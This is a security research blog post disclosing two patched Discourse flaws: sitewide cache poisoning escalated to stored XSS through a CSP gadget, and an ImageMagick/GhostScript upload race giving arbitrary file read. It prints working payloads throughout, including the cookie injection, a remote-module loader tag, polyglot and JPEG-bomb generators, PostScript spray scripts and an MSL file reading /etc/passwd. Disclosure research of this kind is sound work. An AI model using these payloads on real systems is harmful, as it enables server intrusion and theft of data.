Back to Research blog

A JPEG, a Race, and a Ghost: Breaking Discourse's Image Pipeline

Share on social

October 7, 2026

Lorem ipsum

Table of Contents

Note: Unlucky timing: this research was done and reported to Discourse back in June 2026, before Hacktron's recent post on a similar attack surface. The findings are independent and cover different bugs.

Introduction

During a security audit of Discourse, a popular open-source forum platform powering over 22,000 communities including OpenAI, Atlassian, and Cloudflare, we discovered two vulnerabilities affecting default configurations. The first is a cache poisoning issue that escalates to JavaScript execution on every page for every anonymous visitor through a CSP bypass, exploitable without authentication. The second is an arbitrary file read through a TOCTOU race condition in the image upload pipeline, requiring only a Trust Level 0 account.

Sitewide Cache Poisoning to Stored XSS

Unkeyed Cookie Reflection

Discourse allows users to switch between color schemes via a color_scheme_id cookie. This value is read in application_helper.rb and eventually passed to color_scheme_stylesheet_link_tag:

# app/helpers/application_helper.rb
scheme_id = cookies[:color_scheme_id] || current_user&.user_option&.color_scheme_id
@user_scheme_id = scheme_id if scheme_id && ColorScheme.find_by_id(scheme_id)

# ...

def color_scheme_stylesheet_link_tag(href, media, css_class, scheme_id)
  %[<link href="#{href}" media="#{media}" rel="stylesheet" class="#{css_class}"#{scheme_id && scheme_id != -1 ? %[ data-scheme-id="#{scheme_id}"] : ""}/>]
end

The scheme_id is interpolated directly into the HTML without escaping. While ColorScheme.find_by_id(scheme_id) validates the value, Rails casts the string to an integer for the SQL query, "2\">..." becomes WHERE id = 2. The check passes, but the original uncast string is kept and injected into the response.

This means a cookie like:

color_scheme_id=2"><img src=x onerror=alert(1)>

Produces:

<link href="..." media="all" rel="stylesheet" class="light-scheme" data-scheme-id="2"><img src=x onerror=alert(1)>/>

On its own, this is a self-XSS, the attacker can only inject HTML into their own response. What makes it critical is Discourse's anonymous cache.

Discourse caches rendered pages for anonymous visitors in Redis (anonymous_cache.rb). The cache key includes the request path, Accept header, URL scheme, host, and User-Agent, but not the color_scheme_id cookie (source)! When a poisoned response is cached, every subsequent anonymous visitor with the same User-Agent receives the injected HTML. In practice, this is trivially automated, iterating over a list of common User-Agent strings and poisoning each page path covers the vast majority of visitors.

Poisoning the cache with the color_scheme_id cookie:

Poisoning the cache with the color_scheme_id cookie

Accessing the same cache key without the cookie (same User-Agent):

Accessing the same cache key without the cookie

CSP Bypass via Selector Hijack

The injected HTML alone doesn't give us JavaScript execution. Discourse uses a strict Content Security Policy:

script-src 'nonce-...' 'strict-dynamic'

With strict-dynamic, the browser ignores allowlist-based directives and instead trusts any script created by an already-trusted (nonced) script. This means injecting a raw <script> tag won't work, but if we can find a gadget inside the existing trusted JavaScript that loads external resources based on attacker-controlled DOM elements, we can hijack it.

One advantage here is that the injection is server-side and sits early in the DOM (inside the <head> tag), meaning the injected content exists before most trusted JavaScript executes, an ideal position for JS hijacking. Collections like GMSGadget document known gadgets in common frameworks. In our case, we manually looked for something specific to Discourse's own JavaScript and found a promising pattern in the boot script.

During initialization, Discourse queries the DOM for plugin modules to load (source):‍

// app/assets/javascripts/discourse/app/lib/loader.js (compiled)
[...document.querySelectorAll("link[rel=modulepreload][data-plugin-name]")].map(iF)

async function iF(e) {
  let t = e.dataset.pluginName;
  let i = (await import(e.href)).default;
  for (let [e, s] of Object.entries(i))
    define(`discourse/plugins/${t}/${e}`, () => s);
}

This trusted script finds every <link rel="modulepreload"> with a data-plugin-name attribute and dynamically imports its href. This is a typical strict-dynamic CSP bypass gadget. By injecting <link rel="modulepreload" data-plugin-name="poc" href="https://example.com/xss.js"> via the cache poisoning, we hijack this selector. The boot script picks it up, calls import("https://example.com/xss.js"), and the attacker's module executes with full trust in the first-party origin. Note that the attacker's server must return the appropriate CORS headers (Access-Control-Allow-Origin) for the dynamic import() to succeed.

Triggering the XSS using the data-plugin-name XSS gadget

Arbitrary File Read/Write Through Image Upload Processing

A Permissive ImageMagick Configuration

For the second issue, we focused on Discourse's image upload pipeline. The official Docker setup shares the same stack as SaaS instances, giving us direct insight into how dependencies are configured. In particular, ImageMagick (IM) is used heavily throughout the upload flow, and it's not new that IM is a very sensitive component that can enable critical vulnerabilities: ImageTragick (2016), CVE-2020-29599, CVE-2022-44268, etc. Here we focus on upload_creator.rb, reachable by the lowest-privileged user through the profile picture upload feature.

Here is a small summary of every code path on that upload feature that ends in IM:

Discourse profile picture upload flow

Having no coder prefix on dominant_color already highlights some potential exploitation depending on how it can be reached. With that in mind we have 2 potential vectors to explore:

  1. PostScript (PS) execution.
  2. Magick Scripting Language (MSL) execution.

Inside the docker, the IM configuration is almost wide open, only postscript coder is disallowed.

  • /usr/local/etc/ImageMagick-7/policy.xml
<policy domain="module" rights="none" pattern="{PS,PS2,PS3,EPS,XPS}" />
PS execution blocked by IM policy

While this might look safe, PDF rendering still delegates to the PS interpreter through the GhostScript (GS) binary (default IM delegate configuration).

  • /usr/local/etc/ImageMagick-7/delegate.xml
<delegate decode="pdf" encode="eps" mode="bi" command="'gs' -sstdout=%%stderr -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 '-sDEVICE=eps2write' '-sPDFPassword=%a' '-sOutputFile=%o' '-f%i'"/>
<delegate decode="pdf" encode="ps" mode="bi" command="'gs' -sstdout=%%stderr -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 '-sDEVICE=ps2write' '-sPDFPassword=%a' '-sOutputFile=%o' '-f%i'"/>

Small note: By default, this file contains several delegations that greatly expand the ImageMagick (IM) attack surface if the associated binaries are installed on the system.

As explained by Alexis Danizan and Clément Amic in this article, GS will interpret the file differently based on magic bytes. If it starts with %PDF-, it will use the PDFI interpreter, otherwise, it uses the PS interpreter.

On the other hand, IM detects PDF using 2 mime rules by default that check: the filename or the file content (%PDF-).

  • /usr/local/etc/ImageMagick-7/mime.xml
<mime type="application/pdf" description="Portable Document Format" data-type="string" offset="0" magic="%PDF-" priority="50" />
<mime type="application/pdf" acronym="PDF" description="Portable Document Format" priority="100" pattern="*.pdf" />

Under those conditions, it's possible to craft a poc.pdf file with PS content which is going to bypass the IM policy and execute PS.

PS execution via .pdf IM policy bypass

A JXL/PostScript Polyglot to Bypass Upload Protections

Having PS execution inside the Docker container is only the first step. Now, we need to reach it from Discourse itself. The main challenge is that Discourse only uses IM on valid is_image files.

# lib/upload_creator.rb
is_image = FileHelper.is_supported_image?(@filename)
is_image ||= @image_info && FileHelper.is_supported_image?("test.#{@image_info.type}")
is_image = false if @opts[:for_theme]
# lib/file_helper.rb
def self.supported_images
    @@supported_images ||= Set.new %w[jpg jpeg png gif svg ico webp avif heic heif jxl]
end

def self.supported_images_regexp
    @@supported_images_regexp ||= /\.(#{supported_images.to_a.join("|")})\z/i
end

def self.is_supported_image?(filename)
    filename.match?(supported_images_regexp)
end

The is_image check matches the extension against a supported list. It checks two sources:

  • @filename: the original filename from the multipart upload (source), set by Rack (source)
  • @image_info.type: computed by FastImage from the file's magic bytes.

As long as either source matches a supported image type, the file enters the IM pipeline. And as we saw earlier, dominant_color is the only call that passes @file.path without a coder prefix:

# app/models/upload.rb — calculate_dominant_color!
Discourse::Utils.execute_command(
    "nice",
    "-n",
    "10",
    "convert",
    local_path, # @file.path
    "-depth",
    "8",
    "-resize",
    "1x1",
    "-define",
    "histogram:unique-colors=true",
    "-format",
    "%c",
    "histogram:info:",
    timeout: DOMINANT_COLOR_COMMAND_TIMEOUT_SECONDS,
)

The @file.path value comes directly from Rack's @tempfile.path value. This is important as it preserves the user-provided file extension. Even though Discourse later corrects the extension when saving the uploaded image (source), at IM conversion time, the user controls the file extension.

If we sum up, in order to execute PS on Discourse, we need a file with:

  • A .pdf extension.
  • A valid image detection by FastImage for one of these formats: jpg jpeg png gif svg ico webp avif heic heif jxl.
  • A valid PostScript content.

Looking at FastImage's type detection, there is an interesting pattern:

# fastimage/fastimage_parsing/type_parser.rb
when "\0\0"
    case @stream.peek(3).bytes.to_a.last
    when 0
        # http://www.ftyps.com/what.html
        case @stream.peek(12)[4..-1]
        when "ftypavif"
        :avif
        when "ftypavis"
        :avif
        when "ftypheic"
        :heic
        when "ftypmif1"
        :heif
        else
        if @stream.peek(7)[4..-1] == 'JXL'
            :jxl
        end
        end
    # ico has either a 1 (for ico format) or 2 (for cursor) at offset 3
    when 1 then :ico
    when 2 then :cur
end

For the when 0 branch, it checks: \x00\x00\x00.(ftypavif|ftypavis|ftypheic|ftypmif1|JXL), matching avif, heic, heif, or jxl. The first 3 bytes must be null, but the 4th byte, the low byte of the ISOBMFF box size, is flexible. By setting it to 0x25 (%), the entire line becomes a valid PS comment. The leading \x00 bytes are harmlessly stripped by the PS interpreter.

This gives us a valid JXL/PS polyglot, but Discourse has one more check: FastImage must return non-zero dimensions, otherwise the upload is rejected:

# lib/upload_creator.rb
def pixels
    @image_info.size&.reduce(:*).to_i
end

def extract_image_info!
    @image_info = image = FastImage.new(@file) # Simplified version
    # ...

    elsif pixels == 0 && @image_info.type.to_s != "svg"
        @upload.errors.add(:base, I18n.t("upload.images.size_not_found"))
        # ...
    end
end

Applying the same % comment trick to the JXL codestream box (jxlc), we can encode valid dimensions while keeping each line a valid PS comment:

import struct

def jxl_poly(ps_code):
    # JXL signature box: size=37 (0x25='%'), type="JXL ", \x0A% starts a PS comment
    sig = struct.pack('>I', 37) + b'JXL ' + b'\x0A%' + b'A' * 26 + b'\x0A'

    # JXL codestream box: size=37, type="jxlc", \xFF\x0A is JXL codestream magic
    # \x0A\x25 = newline + '%', giving FastImage valid dimensions while keeping valid PS
    jxlc = struct.pack('>I', 37) + b'jxlc' + b'\xFF\x0A' + struct.pack('<HH', 0x0A25, 0) + b'%' + b'B' * 21 + b'\x0A'

    return sig + jxlc + ps_code

ps_code = b'0 0 1 setrgbcolor 0 0 612 792 rectfill showpage'
open('polyglot.pdf', 'wb').write(jxl_poly(ps_code))

Uploading this file with a .pdf extension on /uploads.json with upload_type=x returns:

{
  "id": 515,
  "url": "https://[...]/uploads/default/original/1X/f5bf21fe0cd157df9364278a2952783b9c4d7fab.jxl",
  "original_filename": "plant1533.jxl",
  "filesize": 208,
  "width": 48,
  "height": 152,
  "thumbnail_width": 48,
  "thumbnail_height": 152,
  "extension": "jxl",
  "short_url": "upload://z3YtMuRYtkxhypahxjNp3K72L8v.jxl",
  "short_path": "/uploads/short-url/z3YtMuRYtkxhypahxjNp3K72L8v.jxl",
  "retain_hours": null,
  "human_filesize": "208 Bytes",
  "dominant_color": "0000FF",
  "thumbnail": null
}

Because the PS execution occurs in calculate_dominant_color which doesn't impact the stored files and only updates dominant_color in the response, it gives a 3-byte channel. In this example, 0000FF confirms PS execution.

MSVG Coder to the Rescue

Having PS execution is a strong primitive. Even with -dSAFER, which is supposed to restrict the PS execution context, sandbox bypasses and memory corruption issues are frequently found, often enabling system command execution. Therefore, Debian maintains this package carefully, backporting fixes for new CVEs quickly: tracker, patches. Since the Discourse Docker image uses Debian 12 (Bookworm), GhostScript's -dSAFER sandbox holds, as long as the package is kept up to date.

For this research, our goal was to achieve exploitation on a fully patched default configuration, without relying on any GhostScript n-day or 0-day. One way to achieve that is through the MSL file format. This is a well-known IM exploitation vector to get file read/write. For example, this file would copy /etc/passwd content to /tmp/passwd:

<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="label:@/etc/passwd" />
<write filename="/tmp/passwd" />
</image>

Only 2 main ways exist to reach the MSL coder:

  1. Explicit coder prefix from the CLI: convert msl:/path/to/file.msl output.png.
  2. Any ReadImage call with coder prefix like: msl:/path/to/file.msl.

In our case, only the 2nd one is suitable. The easiest way to reach a ReadImage call is via IM internal SVG parsing from <image> with xlink:href attribute:

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="100" height="100">
    <image xlink:href="msl:/tmp/payload.msl" width="100" height="100"/>
</svg>

However, a simple .svg conversion wouldn't be enough. On every Debian distribution (Bookworm), the ImageMagick binary is compiled with librsvg2, which defines MAGICKCORE_RSVG_DELEGATE. This enforces librsvg usage for every SVG conversion, bypassing IM's internal SVG parser entirely (MSVG coder).

The only way to overcome this restriction is by performing the conversion on a .msvg file or by forcing the MSVG: coder prefix (source).

MSVG coder acces via .msvg

Worth mentioning, IM strips compression extensions including bz2, gz, svgz, wmz, and Z before format detection. This allows triggering the MSVG coder via a filename like poc.msvg.gz (source).

MSVG coder acces via .msvg.gz

With that in mind, we might think that using the JXL/PS polyglot with a .msvg extension would be enough to reach the MSVG coder on Discourse. Unfortunately, this is not the case. The MSVG coder relies on libxml2's parser, which uses the first bytes of the file to detect the encoding (source).

Because of that, the \x00\x00\x00<JXL... FastImage polyglot would be parsed using UCS-4 BE encoding, where the most significant byte of each 4-byte character must be 0x00, which we can't satisfy because of JXL's mandatory byte positions.

libxml2 null byte sniffing (UCS-4 BE) error

JPEG Bomb Race condition

While a polyglot isn't possible for .msvg, the PS execution primitive opens a race condition scenario:

  1. Upload a .msvg file with valid JPEG content.
  2. Use the PS execution to replace the file content after extract_image_info in /tmp (the last point where the file content is checked and @image_info.type is set).
  3. When dominant_color runs, it reads the replaced SVG content, triggering the MSVG coder → MSL execution → arbitrary file read.

The main limitation is that the race window is extremely narrow, too small to be realistically triggered as-is. To widen it, we targeted jpegoptim, used by Discourse's optimize! step (which runs after extract_image_info):

# lib/file_helper.rb — image_optim
ImageOptim.new(
    # ...
    jpegoptim: {
        strip: strip_image_metadata ? "all" : "none",
    },
    jpegtran: false,
    jpegrecompress: false,
    # ...
)

Since jpegoptim (with libjpeg not libjpeg-turbo) parses the JPEG file entirely, we crafted a JPEG bomb padded with APP markers that makes it process for ~25s:

from PIL import Image
import io, struct

# 6324x6324 progressive JPEG (40MP)
img = Image.new('RGB', (6324, 6324), color=(122, 12, 132))
buf = io.BytesIO()
img.save(buf, format='JPEG', quality=90, progressive=True)
jpeg = buf.getvalue()

# Pad with APP0 markers to ~1MB — jpegoptim must parse each marker,
# turning a 236KB JPEG into a ~25s processing bottleneck
while len(jpeg) < 1_000_000:
    jpeg = jpeg[:2] + b'\xFF\xE0\x00\x04\x00\x00' + jpeg[2:]

open('bomb.jpg', 'wb').write(jpeg)

With this in hand, the last piece was the PS spray script, it writes the MSL payload to /tmp/payload.msl, then uses PostScript's renamefile to atomically replace every .msvg tempfile with the SVG trigger.

We use renamefile (POSIX rename()) instead of (w) file because truncation modifies the inode itself, every open file descriptor sees the change, including FastImage's. With renamefile, the old inode stays intact for open fds while the path points to the new SVG content. This makes the race timing non-critical.

renamefile vs (w) file

(Plant script) writes the MSL payload to disk:

% Write MSL payload that reads /etc/passwd and saves it as an image
(/tmp/payload.msl) (w) file dup
(<?xml version="1.0" encoding="UTF-8"?>\n<image>\n  <read filename="label:@/etc/passwd"/>\n  <write filename="/tmp/exfil.png"/>\n</image>\n)
writestring closefile
0 0 1 setrgbcolor 0 0 612 792 rectfill showpage

(Spray script) waits, then atomically replaces .msvg tempfiles with the SVG trigger:

% Write SVG trigger to a temp file
(/tmp/_spray_svg) (w) file dup
(<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"
  width="200" height="200"><image xlink:href="msl:/tmp/payload.msl"
  width="200" height="200"/></svg>)
writestring closefile

% Wait ~3s for the victim's upload to be processed by FastImage
{ realtime 3000 ge { exit } if } loop

% Atomically rename SVG over every .msvg tempfile
(/tmp/*.msvg) { /target exch def (/tmp/_spray_svg) target renamefile } 256 string filenameforall

0 1 0 setrgbcolor 0 0 612 792 rectfill showpage

Putting the full chain together, we get MSL execution from the profile picture upload, allowing arbitrary file read/write on the server:

Final full chain script execution

Since we don't know where Discourse is installed on the filesystem, the MSL output is written to /tmp/exfil.png. To retrieve it, we run the same race a second time, but instead of writing SVG, the spray copies /tmp/exfil.png over the victim's tempfile. When store_upload runs, it opens a new fd from @file.path, reads the exfil image, and stores it as a normal upload. The response JSON contains the URL, no path guessing needed.

Although we stopped at arbitrary file read, this primitive could likely be escalated to RCE. An attacker could target /proc/self/environ or deployment configuration files to recover Rails secrets such as secret_key_base; with a suitable signed-message deserialization sink, that key can be used to forge a malicious payload trusted by the application. This file-read-to-code-execution pattern was popularized by the 2019 Rails "DoubleTap" technique involving CVE-2019-5418 and CVE-2019-5420. The vulnerability should therefore be considered a potential path to complete server compromise, rather than file disclosure alone.

Complete Chain Summary

Conclusion

ImageMagick continues to be one of the most rewarding targets for security research. Even with the PS module blocked by policy, the combination of GhostScript delegation via PDF, the MSVG coder bypassing librsvg, and GS operators like filenameforall and renamefile working under -dSAFER gave us enough primitives to build a full file read chain, without a single GhostScript 0-day.

Both vulnerabilities were reported to the Discourse security team and patched. The cache poisoning fix introduces strict integer validation on color scheme cookies and adds them to the anonymous cache key. The ImageMagick fix ships a default-deny security policy in Discourse core, blocking all delegates (no more GhostScript) and allowlisting only the specific coders Discourse needs.

Timeline

  • June 9, 2026: Reported cache poisoning (XSS) and arbitrary file read (ImageMagick) to Discourse.
  • June 15, 2026: Discourse confirmed both issues and deployed fixes to hosted customers.
  • June 16, 2026: Discourse shared the patches for review.
  • June 30, 2026: ImageMagick fix released publicly (CVE-2026-55420).
  • July 28, 2026: Cache poisoning fix released publicly (CVE-2026-55674).
Kevin Gervot
KG

Author

Kevin Gervot

Security Researcher at Searchlight Cyber

Explore related Content

Research

Out of Bounds, Out of Sandbox: RCE in Go JavaScript Engine

September 7, 2026

Research

Exploit brokers pay $500,000 for a WordPress RCE. I found one with GPT5.6 Sol Ultra and $25

July 20, 2026

Research

wp2shell: Pre Authentication RCE in WordPress Core

July 17, 2026

Research

Smashing the ServiceNow Sandbox – Pre Authentication RCE

July 14, 2026

Research

CargoWise WebTracker – The Keys Were in the Cargo

June 25, 2026

Research

Two Bypasses for Chrome's Sanitizer API

May 22, 2026